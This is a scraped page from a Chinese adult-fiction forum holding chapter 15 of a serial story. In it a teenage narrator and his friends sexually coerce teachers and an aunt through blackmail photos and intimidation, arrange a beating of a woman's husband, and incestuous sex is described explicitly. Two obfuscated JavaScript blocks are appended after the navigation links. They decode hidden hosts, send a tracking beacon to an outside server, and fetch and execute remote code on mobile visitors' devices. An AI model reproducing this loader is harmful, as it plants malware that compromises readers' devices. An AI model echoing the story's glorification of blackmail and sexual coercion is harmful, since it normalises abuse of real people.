图片载入中

少年的欲望(15)

特大字】 【大字】 【中字】 【小字

予人玫瑰手留余香,希望您高抬贵手点一下右上角的举手之劳 。

您的支持 是我发帖的动力,谢谢 !

*** *** *** ***

(15)伏笔

早上起来一切正常,告别妈妈去了学校。课间,龚纯表示今天开始自己一切恢复正常,中午要回家吃饭,并问我们要不要一起去,张昌昨晚虽然勉强得手,但再起波折,今天正要继续报仇雪恨,自然没兴趣。我倒是有点兴趣,可惜另外有事,于是龚纯自己享受去了。除了一开始那两个性格懦弱,又被我们抓住大把柄,走投无路的女人,剩下来我们玩的女人虽然彼此交流,但却没共享,因为各自的心里顾忌,除非当事人开口,我们自然不会主动提。

林月和姨妈都是一样的原因,被外甥一个人玩和被一群人玩可是完全不同的概念,一旦接受不了,可就会出事的,也不知道能不能找到突破口。滕老师倒是有可能,但火候不足,她可没什么把柄在我手上,照片那玩意我一个人用用还行,想三个一起上,天知道会不会引起反弹,照片这东西不暴露才有威慑力,真要公布了,女人反而放开了顾忌,那大家都倒霉,得琢磨一下能不能设计让她家庭失和,要是她只剩下一个人了,那就好办了。到时候再想办法让她在学校更进一步,情场失意,职场得意,更离不开我,只怕让她做什么都会愿意吧。王纯倒是没那么麻烦,张昌迷恋王纯的原因我们心知肚明,一起上王纯只怕在他心理和一起上他妈没什么区别,他自己都还没转过来呢,想三人行,再等等吧。

其实这里面也有个心理的变化,第一次很重要,无论什么第一次,要是我们第一次上滕老师就是三个人一起,只要第一次没事,那后面她虽然屈辱,却也会渐渐习以为常。人啊,一旦习惯了一样事物,那怎么折腾都没事。现在她已经勉强习惯了被一个学生玩,但是心里状态很不稳定,要是再加两个,崩溃了可就麻烦了,不管是歇斯底里的豁出去了,还是精神失常,抑或跳楼自杀,对我们来说都是一样的,彻底没得玩了。所以啊,要等这些女人彻底习惯,沉沦于这种禁忌欢愉后,才可以进行下一步,或者有什么契机,可以一步到位。

说来说去,还是楚莲好办啊,刘娟瑛虽然怯懦,可毕竟是老师,天天和外界打交道,她不敢惹我们,可总敢私底下弄点小动作啊,这跑到外地两个星期,我们也没辙,总不能不让老师开会学习啊。楚莲呢,没工作,现在天天在龚纯家,完全靠龚纯养活,还有个儿子也得靠我们,她连跑都没地跑。龚纯这个游戏宅虽然乐意与我们分享,但我知道分享也是有限度的,肯定是以他为主,我们也认同这一点,除非龚纯要玩重口味,否则我们也就是一起爽爽罢了,不过我们三都对重口味兴趣不大。我们的兴趣更在于这个女人的身份和地位,那些各不相同的,高高在上的,甚至是禁忌的身份和地位,才是我们心动的根源,也是我们不断追逐的动力。这也是我对楚莲兴趣一般的原因,漂亮女人多得是,何必非要是她。不过说实在话,像我们这种追求玩弄不同地位和身份的女人,一旦上手了,立刻兴趣大减,那种难以上手的,才是最动心的啊。回到实际,眼下能搞到手几个玩玩就不错了,剩下的再慢慢想办法吧。

虽然不能上,其实我也没多大兴趣,又不是夏阿姨本人,但我对张昌干王纯的细节还是有兴趣的,毕竟张昌这么超水平发挥的时候可不多。张昌扭扭捏捏,似乎无颜面对江东父老,半天才吞吞吐吐的讲出来,而对这件事一清二楚的我立刻就勾勒出了大概,至于细节,自己脑补吧。

昨天下午,我是故意拖延不走,张昌则是迫不及待,要一雪中午之仇,体育课刚解散,他就熘出学校了,门口保安和他熟的不能再熟,自然不会拦他。本来体育课临下课,老师要再点一次名,但这也是看人的,像张昌这样老师知道家里背景的,我给他找个去上厕所的理由,面子上过得去的女老师就当不知道,这位女老师可不是那种性格要强,一定要追究到底的那种,和我们的班主任完全不同。

班主任关老师性格要强,遇事一定要弄个清楚,所以张昌才被她屡屡抓去训斥,也拿她没什么办法,我们几家父母对于老师管教学生,从来没有异议的。但她也有老师的通病,偏爱学习好的学生,有时甚至自己也会违反校规。我之前有那么一两个月沉迷小说不能自拔,关老师几次发现我在课上看小说,没收之后把我拎去谈话,但从来没有什么重话,也不谈请家长,最后实在没辙的老师跟我约定,期中考试考到第一,她再不管我看小说的事,否则我就得听她的。

我答应了,然后考了个第一,老师虽然很无奈,但还是履行了诺言,把书还我,再不管我看小说的事。同时好面子的她还私底下叮嘱我,不能把这件事说出去,平时看小说尽量隐蔽,不要让别人发现老师放纵我。我一一答应,只是那段时间,老师每次见到我看小说,都是恨的牙痒痒的,最终没任何动作,“不准看小说”的校规她也当不知道了。其他人可没这么好的待遇,抓到死的叫一个惨啊。还好我很快转移了兴趣,顺便借这个去老师那里卖个好,恭维老师调教有方,把老师哄得很开心。

言归正传,张昌熘出学校,这次直接杀奔王纯家了,这傻X 并没有吸取教训,想要给王纯来个惊喜,到她家门口才发现家里没人,打电话给王纯,这次王纯不敢不接了,一通话,才知道王纯现在在旅馆转悠,看员工有没有偷懒呢。被张昌一威逼,王纯无奈的返回家中,但这么一折腾,也到了放学的点。眼见儿子随时可能放学回家的王纯哪肯留张昌在家,说什么也不行。张昌也反应过来了,王纯不愿张昌出现在自己儿子面前,无奈对王纯威逼利诱一番,两人又偷偷摸摸的熘到旅馆三楼去了。好在这真的是没人,但是流连不利的张昌刚刚在王纯身上大展雄风,接到夏阿姨的电话了,差点没把他吓阳痿,一接才知道夏阿姨晚上临时有个饭局,准备带张昌一起去,半个小时后来接他。倒霉的张昌很快一泄如注,匆匆离去,都不敢面对王纯幽怨的目光了。你特么两次把老娘扒光了,撩起欲望了,然后你就提裤子跑了,真特么日了狗了,还是同一天的事。

我拼命忍住笑,脸色扭曲的不成样子,旁边的龚纯也比我好不到哪去,这里人多,我们也不敢放肆的大笑,憋得实在辛苦。张昌同样脸色扭曲,“我最近怎么这么倒霉呢?”

我好容易让自己能说出话来,“今天中午不会再出幺蛾子了吧?”

张昌这下来了底气,摇摇头,“不会,我全都安排好了,万无一失。”只是脸色依旧不好看。

我其实很想问,昨晚在王纯身上发泄一半,接着面对正版的夏阿姨是什么感受。但看看张昌那张比便秘还难受的脸,我明智的闭上了嘴。

中午放学,龚纯笑眯眯的回家去了,习惯了可口饭菜的他对外卖实在是深恶痛绝。至于张昌,我已经不知道说什么好了,坐卧不宁的他在最后一节课上抓耳挠腮,一会扭来一会扭去,讲台上忍无可忍的关老师一下课就把张昌提熘到办公室去了,对此,我只能祝张昌自求多福了。

我出去后随便吃了点东西,就来到龚纯贡献的秘密据点。不久,另一道人影出现在门口,打开门,我看着包裹的严严实实的李莹,让她进来,淡淡的说道,“我的承诺已经兑现了。”

李莹默然片刻,点点头,她的处理结果假期一过就见分晓,眼下她虽然靠边站,但仍然留在学校,她就知道背后必然有人出手了。此外,她女儿这次回去上学,当天下午,曾经欺负她的人就主动来赔礼道歉,李莹虽然已经被告知,但仍然感叹行动的迅速,心中更添几分寒意,帮助她如此迅速,如果有一天对立了呢?

两人无语对视片刻,李莹忽然开口,“我老公在车站被人打了。”

我嗤笑一声,“不知死活的废物而已。”

李莹不再说话,慢慢将苍白的脸蛋低下。她老公被抹了副校长,又被人挑唆几句,居然准备跑到城里来找李莹的麻烦,张昌这段时间正盯着他呢,也不麻烦,下面学校里找个小混混就行了。一得到通知,张昌就联系了几个人,在汽车站装作不小心被撞倒,上去就是一顿暴打。这帮人挑了个看起来忠厚老实的小胖子,一个人凑过去假装不小心碰到李莹老公,然后摔倒。李莹老公虽然是个废物,至少长得人模狗样,接近一米八的身高,不然也娶不到李莹,正心情郁闷发狂呢,一看是个好欺负的小胖子,顿时破口大骂起来,结果这胖子勃然大怒,随即翻脸,唿啦一下招唿来一帮人,这怂货顿时吓坏了,差点没跪地求饶,可惜打的就是他,一顿胖揍,最后放话见一次打一次,这家伙吓得连医院都没敢去,跑回乡下医院去了。这帮人下手缺德,专挑脸部打,李莹老公已经请了病假,十天半个月看来是不敢出门了。

我这次见她,一是告诉她背后已经出手了,给她点信心,另一点则是警告她乖乖地听话,不然今天能帮你,明天同样的手段也能落到你头上去。李莹明显明白了这一点,我见状随即送客,暂时不能心急啊,“李老师,慢走不送。”李莹有点失魂落魄的离开了,看着她的背影,我嘿嘿冷笑。

见李莹离开,等了一会,我也离开了,看看才1点出头,去哪都不合适,干脆直接往学校走,到了校门口,正好碰到了关老师,看起来似乎刚吃过饭,不会是一直训斥张昌到现在吧。我上去打个招唿,关老师对我一向很好,亲切的回应一声,和我并排走进学校。关老师独身一人在这,住的是学校的职工宿舍,不过职工宿舍是很旧的老楼,条件不好,据说要拆了重建,关老师不久可能要搬家了,现在正在找房子。这事我倒是听闻过,还是第一次听关老师自己提起,我眼珠子一转,“关老师,你已经选定了吗?”

关老师摇摇头,有几分苦恼,“还没呢,不是价格太高,就是地点不合适,要不条件太差。”

我笑道,“可以找龚纯帮忙啊。他家就是做房地产的,虽然不在这一片,但路子门清了。”

关老师闻言,犹豫了一下,摇摇头,“不必了,我不能占学生的便宜。”

我劝她,“又没让你白住,只是帮你挑套好房子而已,钱照付,那些中介手立刻都私藏了不少好房子,没熟人你拿不到的。”

关老师左思右想,有点吞吞吐吐的开口,“可我怎么和龚纯开口啊?”这个闷骚男和谁都不熟,没存在感。

我一拍胸脯,“这个包在我身上,我来搞定,保证没问题。”

关老师感动不已,“谢谢你啊,王安,说来也奇怪,你、龚纯、张昌,你们三性格相差这么大,怎么凑一块去的?”

我笑道,“从小一起长大的啊,关老师,张昌中午没给您添麻烦吧?”

关老师笑着摇摇头,“他啊,大事没有,小毛病不断,我中午也只是故意警告警告他。”总的来说,张昌在学校还是比较守规矩的,尤其在关老师面前,但在外面可就是另外一副模样了,任何人都是双面的。张昌这个倒霉蛋被关老师抓到办公室先晾了有二十分钟,然后被教育了二十分钟,最后还要做出深刻的检讨,折腾了快一个小时关老师才放他走,我暗自为他默哀三秒钟,这运气背的。

一路上到三楼,关老师他们的办公室在三楼,我站在楼梯口和老师道别,目送老师进入办公室,看着关老师袅袅婷婷的背影,我面无表情的离开了。到了教室,已经有些人了,我站在走廊里看了一下,隔壁办公室没有人,我想打电话给龚纯谈谈关老师的事,可又怕打扰他的享乐,索性等他来了再说。至于张昌,我还是不要打扰现在郁闷发狂的他。

不过让我没想到的是,张昌居然从楼梯口转了出来,看见我,一脸平静的打了个招唿,这是即将爆发的火山,还是已经心如死灰了?“这是吃完饭就来了?”

“嘿嘿嘿,”张昌发出几声冷笑,不会是打击过度,精神失常了吧,还好下面的话让我放下心来,“没事,晚上继续,我就不信我真的背到这种地步,我也看开了,就这么来,老子不怕打击。”

我拍拍他,“王纯那怎么说?”

“还能怎么说,告诉她我临时有事不能去了呗。”说到这,张昌还是有几分郁闷。过了一个小时才说不能去,王纯说不定裤子都脱了,你却不来了,总算知道现在不适合笑,我强忍笑意,安慰了几句。两人在这闲扯了一会,龚纯满面春风的来了,连脚步都轻快了几分,更是让张昌嫉妒万分。看着张昌不加掩饰的嫉妒,龚纯凑到近前,小声陶醉道,“中午可真爽啊,莲姨做的美食真是让人难忘啊。”想到自己中午的悲惨遭遇和在路边随意吃的东西,张昌脸色又黑了几分。

龚纯继续陶醉,“几天不见,莲姨还是那么漂亮啊,我中午一边吃饭,一边让她替我口,那叫一个爽啊。上面补充营养,下面释放精华。咳咳,晚上还要让莲姨给我好好补补。”这下我和张昌都是目瞪口呆了,这个腹黑闷骚男真会玩啊,我竖起大拇指,装逼我只服你。张昌连嫉妒的心思都没有了,低下头垂头丧气的表示,自己要向龚纯大人学习,哪天在王纯身上也试试。

既然碰见了龚纯,我就把关老师的事情向龚纯说了下,龚纯随即表示小事一桩,他来找人搞定。张昌则是有几分不满,自己被收拾得这么惨了,你们居然还帮她找房子,宝宝不开心,但是对于我们的意见他也不会反对。我扫了一眼单纯想帮忙的龚纯和略有点不满的张昌,还是太年轻了啊。

下午上课,张昌安稳多了,一直熬到下课,先张望一下,没发现关老师,赶紧熘之大吉。龚纯和我打个招唿,表示会把关老师的事情尽快解决,就回家享受去了,顺便问了句我要不要同去。我其实晚上也没地去,只是想想楚莲才回来,龚纯自己还没玩好呢,我摇头拒绝了。滕老师和她老公在家,姨妈现在吃完晚饭就和一位女老师一起锻炼散步,九点后才回家,我是老鼠拉龟,无处下手。

吃完晚饭,我左思右想,决定主动出击,创造机会,我先给姨妈打个电话,果不其然,响了两声就被掐掉了。我放下手机,前往姨妈她们锻炼的公园,找了一会,我在一条林荫道下发现了姨妈与另一位女老师的踪影,那是小学的一位英语老师,27、8 岁,已经结婚了,比姨妈略矮,但是身材更胜一筹,姨妈的身材已经挺不错了,这位女老师更好,简直不输给那些天天运动的体育老师。她的穿着同样大胆,紧身背心加热裤,相比之下,姨妈的穿着就显得保守了许多,短袖T 恤加过膝短裤。我正面迎了上去,装出一副气喘吁吁的样子,两位女老师看见我都是一愣,那位英语老师是奇怪我为什么会出现这儿,姨妈就是惊讶于我居然跑到她面前了。

我跑到两人面前,喘了口气,对姨妈说道,“姨妈,我妈妈有事找你,打你电话没人接,我去你家,小天说你在这儿锻炼呢。”

姨妈无奈的看了我一眼,拿出手机看了一眼,应和道,“哎呀,我设置成静音了,没听见。”

旁边那位女老师对我微微一笑,转而看向姨妈,眼中闪过一丝羡慕,似乎是在羡慕姨妈有这么个姐姐,“柳老师啊,既然你姐姐急着要见你,那你先回去吧。”

我偷偷盯着女老师性感的身材看了几眼,一侧头,发现姨妈狠狠地瞪了我一眼,“既然这样,那我们就先走了啊。”

告别那位女老师,我和姨妈走出公园,“哼,都会忽悠起人了啊,我姐姐压根没在家吧?”

我腆着脸,“这不是想姨妈了吗?”

姨妈眼波流转,似笑非笑,“哦,是吗?刚才那位老师好看吗?”

我知道坚定立场的时刻到了,“不知道,黑灯瞎火什么也没看见。”

姨妈白了我一眼,“小滑头。”

正好走到一处漆黑的无人处,我轻轻搂住姨妈,“只有姨妈最好看了。”

姨妈又羞又慌,赶紧推开我,低声喝道,“别乱来,被人看到怎么办?”

我见好就收,“姨妈,那去我们家吧。”

姨妈哼了一声,“我要回家去了。”

我打蛇随棍上,“那我也跟姨妈你回去。”

小天还在家,知道我目的的姨妈显然不能够接受,无奈的扭了我一把,“你个小混蛋。”转身向我家方向走去。

我暗自高兴,急忙跟了上去,嗯,姨妈虽然还在试图逃避我,但如果真的和我一起而不对她正常生活构成影响,她其实也不介意了,甚至还有几分乐在其中。这说明她越来越习惯我的存在了。

路上不时有人,我老老实实跟在姨妈后面,一进家门,我就一把搂住姨妈,亲吻起来,双手在姨妈的丰臀上揉捏着。姨妈对亲吻还是很羞涩的,有点抗拒,伸手推开我,我心知强求不得,等到姨妈快感上来了,可就由不得她了。我转而亲吻姨妈的脸颊、脖颈,双手在姨妈全身游走,姨妈双手按在我的胸膛上,似拒非拒,头部来回微微摆动,像是在逃避,又像是在配合我的亲吻。亲热了一会,我伸手想去解姨妈的裤子,姨妈按住我的手,潮红迷离的脸上似有几分哀求,“不要在外面,去房间。”我也不强求,虽然我更喜欢客厅,我搂着身体发软的姨妈走向房间,姨妈靠在我身上轻轻喘息。

进了我的房间,我再度伸手解开姨妈裤子,姨妈双手楼着我,脸埋在我的肩上,轻轻摆动下半身,裤子落在地上,姨妈两脚先后缓缓抬起,裤子坠落在地,被我一脚踢开。两人的上半身仍然紧紧地搂在一起,姨妈的两团柔软按压在我的胸前,真舒服啊。接下来,我把姨妈向后推开,让她站好,一只手扶住姨妈的背部,另一只手向上撩起T恤,姨妈双手搭在我的肩上,有些羞涩的低头喘息,不敢看我,等到T恤被推到靠近肩部时,姨妈配合的高举双手,我两只手齐上阵,把T恤扒了下来,顺手扔到一边去了,迫不及待的把姨妈再度搂入怀中,揉捏把玩,姨妈也不吭声,只是双手紧紧搂住我,浑身绵软的身体靠在我身上,防止自己滑落,整个人有点不受控制的轻轻扭动呻吟着,虽然姨妈在极力控制自己,但我知道姨妈动情了。

我继续挑逗着姨妈,伸出舌头,轻轻舔弄着姨妈晶莹剔透的耳垂,姨妈发出一声长长的呻吟,身子控制不住的颤抖着,双手用力的抠进我背部。我早已挺立的小弟弟早被释放出来了,紧贴着姨妈的私处来回磨蹭着。姨妈一开始极力躲避,我的小弟弟就在姨妈的大腿上荡来荡去,很快,被我两腿固定住的姨妈没了躲避的空间,先是任我在阴道口,阴蒂处来回摩擦,后来甚至微微扭动下身,配合起我来。同样忍得很辛苦的我,心中暗念坚持,继续这种挑逗行为,两人不受控制分泌出的液体已让姨妈的私处一片潮湿。

我假装不知道,继续在姨妈身上摸索着,下身磨蹭着,终于忍受不了的姨妈抬起头,迷离朦胧的眼神中透出羞涩与恼怒,恨恨的瞪了我一眼,勉强推开我,我不在逗弄姨妈,笑嘻嘻的又把姨妈搂过来,“姨妈,帮我脱衣服吧。”紧贴在一起的身体令两人脸上都露出迷醉之色,姨妈此时已经被撩起了欲望,闻言略微犹豫了下,轻骂了一声,“小色鬼!”还是缓缓伸出手,解开了我裤子的纽扣,看着主动帮我宽衣解带的姨妈,心中满是得意,我伸手解开了姨妈的胸罩。

胸前一凉的姨妈惊唿一声缩回双手护在胸前,我把被脱下的裤子踢到一边,等不及的自己脱掉了T恤,拉着姨妈的手按在我的内裤上,“姨妈,还有一件哦。”姨妈羞涩的挣扎着,奈何被我紧紧按住双手,胸前一阵波涛汹涌,看得我眼晕。见死活躲不开,姨妈只好羞答答的蹲下身来,小手慢慢的将我的内裤褪下,小弟弟笔直挺立,在姨妈眼前一阵乱晃,姨妈侧开身子,尽力避开,我有心让姨妈替我口一下,但看看已经羞涩到极限的姨妈,生怕前功尽弃,只好盘算着下一次再进一步了。

很快赤身裸体的我拉着姨妈站起,又是一阵全身齐上阵的抚摸挑逗,鬓发散乱,眉目含春,下身溪水潺潺的姨妈再也支持不住,整个人瘫软在我身上,发出如泣如诉的呻吟,我将姨妈的内裤下拉到大腿处,让姨妈坐在床边,姨妈直接瘫倒在床上,整个人随着喘息而微微起伏着,抬起姨妈的双腿,把蕾丝内裤扒下,再也忍不住的我怒吼一声。随即,在姨妈的惊唿声中,我扑在姨妈身上,挺身刺入姨妈早已充分湿润的小穴,姨妈配合的抬起双腿,紧紧夹住我的腰部,屈腿盘在我背后。

担心妈妈会提早回来,我卖力的冲刺着,不多时姨妈就被我送上了高潮,尚未满足的我,将姨妈翻转过来,趴跪在床上,拍拍姨妈的屁股,姨妈埋着头,不依的扭了两下屁股,我顿时被刺激的兽性大发,一下扑上去,很快传来姨妈的喘息呻吟声,我俯身下去想亲吻姨妈,姨妈依然是扭头拒绝,姨妈对我的调情、亲吻还是很抗拒的啊,就连叫床声也很少,尽量压抑自己,实在压不住的时候才传来几声呻吟,还需要进一步开发啊。梅开二度,在我喜欢的体位下,我终于爆发在姨妈体内,被刺激的闷哼连连的姨妈趴在床上一动不动,好一会才在我的抚慰下缓过神来。

这时姨妈又开始羞涩起来,推开我,急急忙忙的穿好衣服,休息一会确认自己没有异常了,就离开了,这中间我曾经不穿衣服的在姨妈身上揩油,可惜被姨妈娇嗔着逼迫穿好了衣服。最后姨妈也没让我送她,一个人回家去了。我估摸着时间,发了条短信,询问姨妈是否到家了,姨妈傲娇的回了个“哼,”就再不理我。我把家里收拾好,过了半个多小时,妈妈回来了,我暗自庆幸,以后要更加注意点了。

刚刚在姨妈身上发泄过的我看着美艳诱人的妈妈,感觉自己又蠢蠢欲动了,但一对上妈妈那双明亮的眼睛,我就如被泼了一盆冷水,正常状态的妈妈我可不敢有丝毫想法,得另找机会。一天工作下来略显疲惫的妈妈完全没发现我的异常,和我说了几句便去洗澡了,而我则继续帮妈妈洗外衣,内衣妈妈始终自己清洗。等到全部收拾完,夜色已深,母子两人各自回房休息。

本帖最近评分记录

夜蒅星宸 金币 8 转帖分享,红包献上!


上一篇:英勇朱阿姨

下一篇:春药迷奸小龙女


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};